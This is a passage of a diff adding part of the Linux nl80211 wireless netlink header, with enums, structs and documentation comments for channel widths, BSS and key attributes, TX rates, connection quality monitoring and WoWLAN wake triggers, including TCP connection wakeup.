+ * 2^n-1 in the range 1..32767]
+ * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form
+ * 2^n-1 in the range 1..32767]
+ * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255]
+ * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal
+ * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number
+ */
+enum nl80211_txq_attr {
+ __NL80211_TXQ_ATTR_INVALID,
+ NL80211_TXQ_ATTR_AC,
+ NL80211_TXQ_ATTR_TXOP,
+ NL80211_TXQ_ATTR_CWMIN,
+ NL80211_TXQ_ATTR_CWMAX,
+ NL80211_TXQ_ATTR_AIFS,
+
+ /* keep last */
+ __NL80211_TXQ_ATTR_AFTER_LAST,
+ NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1
+};
+
+enum nl80211_ac {
+ NL80211_AC_VO,
+ NL80211_AC_VI,
+ NL80211_AC_BE,
+ NL80211_AC_BK,
+ NL80211_NUM_ACS
+};
+
+/* backward compat */
+#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC
+#define NL80211_TXQ_Q_VO NL80211_AC_VO
+#define NL80211_TXQ_Q_VI NL80211_AC_VI
+#define NL80211_TXQ_Q_BE NL80211_AC_BE
+#define NL80211_TXQ_Q_BK NL80211_AC_BK
+
+/**
+ * enum nl80211_channel_type - channel type
+ * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel
+ * @NL80211_CHAN_HT20: 20 MHz HT channel
+ * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel
+ * below the control channel
+ * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel
+ * above the control channel
+ */
+enum nl80211_channel_type {
+ NL80211_CHAN_NO_HT,
+ NL80211_CHAN_HT20,
+ NL80211_CHAN_HT40MINUS,
+ NL80211_CHAN_HT40PLUS
+};
+
+/**
+ * enum nl80211_chan_width - channel width definitions
+ *
+ * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH
+ * attribute.
+ *
+ * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel
+ * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel
+ * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well
+ * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel
+ * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel
+ */
+enum nl80211_chan_width {
+ NL80211_CHAN_WIDTH_20_NOHT,
+ NL80211_CHAN_WIDTH_20,
+ NL80211_CHAN_WIDTH_40,
+ NL80211_CHAN_WIDTH_80,
+ NL80211_CHAN_WIDTH_80P80,
+ NL80211_CHAN_WIDTH_160,
+ NL80211_CHAN_WIDTH_5,
+ NL80211_CHAN_WIDTH_10,
+};
+
+/**
+ * enum nl80211_bss_scan_width - control channel width for a BSS
+ *
+ * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute.
+ *
+ * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible
+ * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide
+ * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide
+ */
+enum nl80211_bss_scan_width {
+ NL80211_BSS_CHAN_WIDTH_20,
+ NL80211_BSS_CHAN_WIDTH_10,
+ NL80211_BSS_CHAN_WIDTH_5,
+};
+
+/**
+ * enum nl80211_bss - netlink attributes for a BSS
+ *
+ * @__NL80211_BSS_INVALID: invalid
+ * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets)
+ * @NL80211_BSS_FREQUENCY: frequency in MHz (u32)
+ * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64)
+ * (if @NL80211_BSS_PRESP_DATA is present then this is known to be
+ * from a probe response, otherwise it may be from the same beacon
+ * that the NL80211_BSS_BEACON_TSF will be from)
+ * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16)
+ * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16)
+ * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the
+ * raw information elements from the probe response/beacon (bin);
+ * if the %NL80211_BSS_BEACON_IES attribute is present and the data is
+ * different then the IEs here are from a Probe Response frame; otherwise
+ * they are from a Beacon frame.
+ * However, if the driver does not indicate the source of the IEs, these
+ * IEs may be from either frame subtype.
+ * If present, the @NL80211_BSS_PRESP_DATA attribute indicates that the
+ * data here is known to be from a probe response, without any heuristics.
+ * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon
+ * in mBm (100 * dBm) (s32)
+ * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon
+ * in unspecified units, scaled to 0..100 (u8)
+ * @NL80211_BSS_STATUS: status, if this BSS is "used"
+ * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms
+ * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information
+ * elements from a Beacon frame (bin); not present if no Beacon frame has
+ * yet been received
+ * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel
+ * (u32, enum nl80211_bss_scan_width)
+ * @NL80211_BSS_BEACON_TSF: TSF of the last received beacon (u64)
+ * (not present if no beacon frame has been received yet)
+ * @NL80211_BSS_PRESP_DATA: the data in @NL80211_BSS_INFORMATION_ELEMENTS and
+ * @NL80211_BSS_TSF is known to be from a probe response (flag attribute)
+ * @__NL80211_BSS_AFTER_LAST: internal
+ * @NL80211_BSS_MAX: highest BSS attribute
+ */
+enum nl80211_bss {
+ __NL80211_BSS_INVALID,
+ NL80211_BSS_BSSID,
+ NL80211_BSS_FREQUENCY,
+ NL80211_BSS_TSF,
+ NL80211_BSS_BEACON_INTERVAL,
+ NL80211_BSS_CAPABILITY,
+ NL80211_BSS_INFORMATION_ELEMENTS,
+ NL80211_BSS_SIGNAL_MBM,
+ NL80211_BSS_SIGNAL_UNSPEC,
+ NL80211_BSS_STATUS,
+ NL80211_BSS_SEEN_MS_AGO,
+ NL80211_BSS_BEACON_IES,
+ NL80211_BSS_CHAN_WIDTH,
+ NL80211_BSS_BEACON_TSF,
+ NL80211_BSS_PRESP_DATA,
+
+ /* keep last */
+ __NL80211_BSS_AFTER_LAST,
+ NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_bss_status - BSS "status"
+ * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS.
+ * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS.
+ * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS.
+ *
+ * The BSS status is a BSS attribute in scan dumps, which
+ * indicates the status the interface has wrt. this BSS.
+ */
+enum nl80211_bss_status {
+ NL80211_BSS_STATUS_AUTHENTICATED,
+ NL80211_BSS_STATUS_ASSOCIATED,
+ NL80211_BSS_STATUS_IBSS_JOINED,
+};
+
+/**
+ * enum nl80211_auth_type - AuthenticationType
+ *
+ * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication
+ * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only)
+ * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r)
+ * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP)
+ * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals
+ * @__NL80211_AUTHTYPE_NUM: internal
+ * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm
+ * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by
+ * trying multiple times); this is invalid in netlink -- leave out
+ * the attribute for this on CONNECT commands.
+ */
+enum nl80211_auth_type {
+ NL80211_AUTHTYPE_OPEN_SYSTEM,
+ NL80211_AUTHTYPE_SHARED_KEY,
+ NL80211_AUTHTYPE_FT,
+ NL80211_AUTHTYPE_NETWORK_EAP,
+ NL80211_AUTHTYPE_SAE,
+
+ /* keep last */
+ __NL80211_AUTHTYPE_NUM,
+ NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1,
+ NL80211_AUTHTYPE_AUTOMATIC
+};
+
+/**
+ * enum nl80211_key_type - Key Type
+ * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key
+ * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key
+ * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS)
+ * @NUM_NL80211_KEYTYPES: number of defined key types
+ */
+enum nl80211_key_type {
+ NL80211_KEYTYPE_GROUP,
+ NL80211_KEYTYPE_PAIRWISE,
+ NL80211_KEYTYPE_PEERKEY,
+
+ NUM_NL80211_KEYTYPES
+};
+
+/**
+ * enum nl80211_mfp - Management frame protection state
+ * @NL80211_MFP_NO: Management frame protection not used
+ * @NL80211_MFP_REQUIRED: Management frame protection required
+ */
+enum nl80211_mfp {
+ NL80211_MFP_NO,
+ NL80211_MFP_REQUIRED,
+};
+
+enum nl80211_wpa_versions {
+ NL80211_WPA_VERSION_1 = 1 << 0,
+ NL80211_WPA_VERSION_2 = 1 << 1,
+};
+
+/**
+ * enum nl80211_key_default_types - key default types
+ * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid
+ * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default
+ * unicast key
+ * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default
+ * multicast key
+ * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types
+ */
+enum nl80211_key_default_types {
+ __NL80211_KEY_DEFAULT_TYPE_INVALID,
+ NL80211_KEY_DEFAULT_TYPE_UNICAST,
+ NL80211_KEY_DEFAULT_TYPE_MULTICAST,
+
+ NUM_NL80211_KEY_DEFAULT_TYPES
+};
+
+/**
+ * enum nl80211_key_attributes - key attributes
+ * @__NL80211_KEY_INVALID: invalid
+ * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of
+ * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC
+ * keys
+ * @NL80211_KEY_IDX: key ID (u8, 0-3)
+ * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
+ * section 7.3.2.25.1, e.g. 0x000FAC04)
+ * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
+ * CCMP keys, each six bytes in little endian
+ * @NL80211_KEY_DEFAULT: flag indicating default key
+ * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key
+ * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not
+ * specified the default depends on whether a MAC address was
+ * given with the command using the key or not (u32)
+ * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags
+ * attributes, specifying what a key should be set as default as.
+ * See &enum nl80211_key_default_types.
+ * @__NL80211_KEY_AFTER_LAST: internal
+ * @NL80211_KEY_MAX: highest key attribute
+ */
+enum nl80211_key_attributes {
+ __NL80211_KEY_INVALID,
+ NL80211_KEY_DATA,
+ NL80211_KEY_IDX,
+ NL80211_KEY_CIPHER,
+ NL80211_KEY_SEQ,
+ NL80211_KEY_DEFAULT,
+ NL80211_KEY_DEFAULT_MGMT,
+ NL80211_KEY_TYPE,
+ NL80211_KEY_DEFAULT_TYPES,
+
+ /* keep last */
+ __NL80211_KEY_AFTER_LAST,
+ NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_tx_rate_attributes - TX rate set attributes
+ * @__NL80211_TXRATE_INVALID: invalid
+ * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection
+ * in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with
+ * 1 = 500 kbps) but without the IE length restriction (at most
+ * %NL80211_MAX_SUPP_RATES in a single array).
+ * @NL80211_TXRATE_HT: HT (MCS) rates allowed for TX rate selection
+ * in an array of MCS numbers.
+ * @NL80211_TXRATE_VHT: VHT rates allowed for TX rate selection,
+ * see &struct nl80211_txrate_vht
+ * @NL80211_TXRATE_GI: configure GI, see &enum nl80211_txrate_gi
+ * @__NL80211_TXRATE_AFTER_LAST: internal
+ * @NL80211_TXRATE_MAX: highest TX rate attribute
+ */
+enum nl80211_tx_rate_attributes {
+ __NL80211_TXRATE_INVALID,
+ NL80211_TXRATE_LEGACY,
+ NL80211_TXRATE_HT,
+ NL80211_TXRATE_VHT,
+ NL80211_TXRATE_GI,
+
+ /* keep last */
+ __NL80211_TXRATE_AFTER_LAST,
+ NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1
+};
+
+#define NL80211_TXRATE_MCS NL80211_TXRATE_HT
+#define NL80211_VHT_NSS_MAX 8
+
+/**
+ * struct nl80211_txrate_vht - VHT MCS/NSS txrate bitmap
+ * @mcs: MCS bitmap table for each NSS (array index 0 for 1 stream, etc.)
+ */
+struct nl80211_txrate_vht {
+ __u16 mcs[NL80211_VHT_NSS_MAX];
+};
+
+enum nl80211_txrate_gi {
+ NL80211_TXRATE_DEFAULT_GI,
+ NL80211_TXRATE_FORCE_SGI,
+ NL80211_TXRATE_FORCE_LGI,
+};
+
+/**
+ * enum nl80211_band - Frequency band
+ * @NL80211_BAND_2GHZ: 2.4 GHz ISM band
+ * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz)
+ * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz)
+ */
+enum nl80211_band {
+ NL80211_BAND_2GHZ,
+ NL80211_BAND_5GHZ,
+ NL80211_BAND_60GHZ,
+};
+
+/**
+ * enum nl80211_ps_state - powersave state
+ * @NL80211_PS_DISABLED: powersave is disabled
+ * @NL80211_PS_ENABLED: powersave is enabled
+ */
+enum nl80211_ps_state {
+ NL80211_PS_DISABLED,
+ NL80211_PS_ENABLED,
+};
+
+/**
+ * enum nl80211_attr_cqm - connection quality monitor attributes
+ * @__NL80211_ATTR_CQM_INVALID: invalid
+ * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies
+ * the threshold for the RSSI level at which an event will be sent. Zero
+ * to disable.
+ * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies
+ * the minimum amount the RSSI level must change after an event before a
+ * new event may be issued (to reduce effects of RSSI oscillation).
+ * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event
+ * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many
+ * consecutive packets were not acknowledged by the peer
+ * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures
+ * during the given %NL80211_ATTR_CQM_TXE_INTVL before an
+ * %NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and
+ * %NL80211_ATTR_CQM_TXE_PKTS is generated.
+ * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given
+ * %NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is
+ * checked.
+ * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic
+ * interval in which %NL80211_ATTR_CQM_TXE_PKTS and
+ * %NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an
+ * %NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting.
+ * @__NL80211_ATTR_CQM_AFTER_LAST: internal
+ * @NL80211_ATTR_CQM_MAX: highest key attribute
+ */
+enum nl80211_attr_cqm {
+ __NL80211_ATTR_CQM_INVALID,
+ NL80211_ATTR_CQM_RSSI_THOLD,
+ NL80211_ATTR_CQM_RSSI_HYST,
+ NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT,
+ NL80211_ATTR_CQM_PKT_LOSS_EVENT,
+ NL80211_ATTR_CQM_TXE_RATE,
+ NL80211_ATTR_CQM_TXE_PKTS,
+ NL80211_ATTR_CQM_TXE_INTVL,
+
+ /* keep last */
+ __NL80211_ATTR_CQM_AFTER_LAST,
+ NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event
+ * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the
+ * configured threshold
+ * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the
+ * configured threshold
+ * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss.
+ * (Note that deauth/disassoc will still follow if the AP is not
+ * available. This event might get used as roaming event, etc.)
+ */
+enum nl80211_cqm_rssi_threshold_event {
+ NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
+ NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
+ NL80211_CQM_RSSI_BEACON_LOSS_EVENT,
+};
+
+/**
+ * enum nl80211_tx_power_setting - TX power adjustment
+ * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power
+ * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter
+ * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter
+ */
+enum nl80211_tx_power_setting {
+ NL80211_TX_POWER_AUTOMATIC,
+ NL80211_TX_POWER_LIMITED,
+ NL80211_TX_POWER_FIXED,
+};
+
+/**
+ * enum nl80211_packet_pattern_attr - packet pattern attribute
+ * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute
+ * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has
+ * a zero bit are ignored
+ * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have
+ * a bit for each byte in the pattern. The lowest-order bit corresponds
+ * to the first byte of the pattern, but the bytes of the pattern are
+ * in a little-endian-like format, i.e. the 9th byte of the pattern
+ * corresponds to the lowest-order bit in the second byte of the mask.
+ * For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where
+ * xx indicates "don't care") would be represented by a pattern of
+ * twelve zero bytes, and a mask of "0xed,0x01".
+ * Note that the pattern matching is done as though frames were not
+ * 802.11 frames but 802.3 frames, i.e. the frame is fully unpacked
+ * first (including SNAP header unpacking) and then matched.
+ * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after
+ * these fixed number of bytes of received packet
+ * @NUM_NL80211_PKTPAT: number of attributes
+ * @MAX_NL80211_PKTPAT: max attribute number
+ */
+enum nl80211_packet_pattern_attr {
+ __NL80211_PKTPAT_INVALID,
+ NL80211_PKTPAT_MASK,
+ NL80211_PKTPAT_PATTERN,
+ NL80211_PKTPAT_OFFSET,
+
+ NUM_NL80211_PKTPAT,
+ MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1,
+};
+
+/**
+ * struct nl80211_pattern_support - packet pattern support information
+ * @max_patterns: maximum number of patterns supported
+ * @min_pattern_len: minimum length of each pattern
+ * @max_pattern_len: maximum length of each pattern
+ * @max_pkt_offset: maximum Rx packet offset
+ *
+ * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when
+ * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in
+ * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of
+ * %NL80211_ATTR_COALESCE_RULE in the capability information given
+ * by the kernel to userspace.
+ */
+struct nl80211_pattern_support {
+ __u32 max_patterns;
+ __u32 min_pattern_len;
+ __u32 max_pattern_len;
+ __u32 max_pkt_offset;
+} __attribute__((packed));
+
+/* only for backward compatibility */
+#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID
+#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK
+#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN
+#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET
+#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT
+#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT
+#define nl80211_wowlan_pattern_support nl80211_pattern_support
+
+/**
+ * enum nl80211_wowlan_triggers - WoWLAN trigger definitions
+ * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes
+ * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put
+ * the chip into a special state -- works best with chips that have
+ * support for low-power operation already (flag)
+ * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect
+ * is detected is implementation-specific (flag)
+ * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed
+ * by 16 repetitions of MAC addr, anywhere in payload) (flag)
+ * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns
+ * which are passed in an array of nested attributes, each nested attribute
+ * defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern.
+ * Each pattern defines a wakeup packet. Packet offset is associated with
+ * each pattern which is used while matching the pattern. The matching is
+ * done on the MSDU, i.e. as though the packet was an 802.3 packet, so the
+ * pattern matching is done after the packet is converted to the MSDU.
+ *
+ * In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute
+ * carrying a &struct nl80211_pattern_support.
+ *
+ * When reporting wakeup. it is a u32 attribute containing the 0-based
+ * index of the pattern that caused the wakeup, in the patterns passed
+ * to the kernel when configuring.
+ * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be
+ * used when setting, used only to indicate that GTK rekeying is supported
+ * by the device (flag)
+ * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if
+ * done by the device) (flag)
+ * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request
+ * packet (flag)
+ * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag)
+ * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released
+ * (on devices that have rfkill in the device) (flag)
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains
+ * the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame
+ * may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN
+ * attribute contains the original length.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11
+ * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211
+ * attribute if the packet was truncated somewhere.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the
+ * 802.11 packet that caused the wakeup, e.g. a magic packet. The frame may
+ * be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute
+ * contains the original length.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3
+ * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023
+ * attribute if the packet was truncated somewhere.
+ * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section
+ * "TCP connection wakeup" for more details. This is a nested attribute
+ * containing the exact information for establishing and keeping alive
+ * the TCP connection.
+ * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the
+ * wakeup packet was received on the TCP connection
+ * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the
+ * TCP connection was lost or failed to be established
+ * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only,
+ * the TCP connection ran out of tokens to use for data to send to the
+ * service
+ * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers
+ * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number
+ *
+ * These nested attributes are used to configure the wakeup triggers and
+ * to report the wakeup reason(s).
+ */
+enum nl80211_wowlan_triggers {
+ __NL80211_WOWLAN_TRIG_INVALID,
+ NL80211_WOWLAN_TRIG_ANY,
+ NL80211_WOWLAN_TRIG_DISCONNECT,
+ NL80211_WOWLAN_TRIG_MAGIC_PKT,
+ NL80211_WOWLAN_TRIG_PKT_PATTERN,
+ NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED,
+ NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE,
+ NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST,
+ NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE,
+ NL80211_WOWLAN_TRIG_RFKILL_RELEASE,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN,
+ NL80211_WOWLAN_TRIG_TCP_CONNECTION,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS,
+
+ /* keep last */
+ NUM_NL80211_WOWLAN_TRIG,
+ MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1
+};
+
+/**
+ * DOC: TCP connection wakeup
+ *
+ * Some devices can establish a TCP connection in order to be woken up by a
+ * packet coming in from outside their network segment, or behind NAT. If
+ * configured, the device will establish a TCP connection to the given
+ * service, and periodically send data to that service. The first data
+ * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK.
+ * The data packets can optionally include a (little endian) sequence
+ * number (in the TCP payload!) that is generated by the device, and, also
+ * optionally, a token from a list of tokens. This serves as a keep-alive
+ * with the service, and for NATed connections, etc.
+ *
+ * During this keep-alive period, the server doesn't send any data to the
+ * client. When receiving data, it is compared against the wakeup pattern
+ * (and mask) and if it matches, the host is woken up. Similarly, if the
+ * connection breaks or cannot be established to start with, the host is
+ * also woken up.
+ *
+ * Developer's note: ARP offload is required for this, otherwise TCP
+ * response packets might not go through correctly.
+ */
+
+/**
+ * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence
+ * @start: starting value
+ * @offset: offset of sequence number in packet
+ * @len: length of the sequence value to write, 1 through 4
+ *
+ * Note: don't confuse with the TCP sequence number(s), this is for the
+ * keepalive packet payload. The actual value is written into the packet
+ * in little endian.
+ */
+struct nl80211_wowlan_tcp_data_seq {
+ __u32 start, offset, len;
+};
+
+/**
+ * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config
+ * @offset: offset of token in packet
+ * @len: length of each token
+ * @token_stream: stream of data to be used for the tokens, the length must
+ * be a multiple of @len for this to make sense
+ */
+struct nl80211_wowlan_tcp_data_token {
+ __u32 offset, len;
+ __u8 token_stream[];
+};
+
+/**
+ * struct nl80211_wowlan_tcp_data_token_feature - data token features
+ * @min_len: minimum token length
+ * @max_len: maximum token length
+ * @bufsize: total available token buffer size (max size of @token_stream)
+ */
+struct nl80211_wowlan_tcp_data_token_feature {
+ __u32 min_len, max_len, bufsize;
+};
+
+/**
+ * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters
+ * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes
+ * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order)
+ * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address
+ * (in network byte order)
+ * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because
+ * route lookup when configured might be invalid by the time we suspend,
+ * and doing a route lookup when suspending is no longer possible as it
+ * might require ARP querying.
+ * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a
+ * socket and port will be allocated
+ * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16)
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte.
+ * For feature advertising, a u32 attribute holding the maximum length
+ * of the data payload.
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration
+ * (if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature
+ * advertising it is just a flag
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration,
+ * see &struct nl80211_wowlan_tcp_data_token and for advertising see
+ * &struct nl80211_wowlan_tcp_data_token_feature.
+ * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum
+ * interval in feature advertising (u32)
+ * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a
+ * u32 attribute holding the maximum length
+ * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for
+ * feature advertising. The mask works like @NL80211_PKTPAT_MASK
+ * but on the TCP payload only.
+ * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes
+ * @MAX_NL80211_WOWLAN_TCP: highest attribute number
+ */
+enum nl80211_wowlan_tcp_attrs {
+ __NL80211_WOWLAN_TCP_INVALID,
+ NL80211_WOWLAN_TCP_SRC_IPV4,
+ NL80211_WOWLAN_TCP_DST_IPV4,
+ NL80211_WOWLAN_TCP_DST_MAC,
+ NL80211_WOWLAN_TCP_SRC_PORT,
+ NL80211_WOWLAN_TCP_DST_PORT,
